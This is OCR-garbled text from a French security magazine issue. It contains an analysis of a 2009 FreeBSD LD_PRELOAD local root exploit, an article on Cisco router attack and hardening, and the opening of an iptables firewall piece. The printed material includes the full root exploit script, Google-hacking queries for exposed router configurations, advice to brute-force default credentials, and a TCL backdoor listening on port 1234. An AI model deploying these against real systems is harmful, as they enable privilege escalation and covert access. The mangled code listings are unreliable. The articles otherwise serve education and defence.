Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 10: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

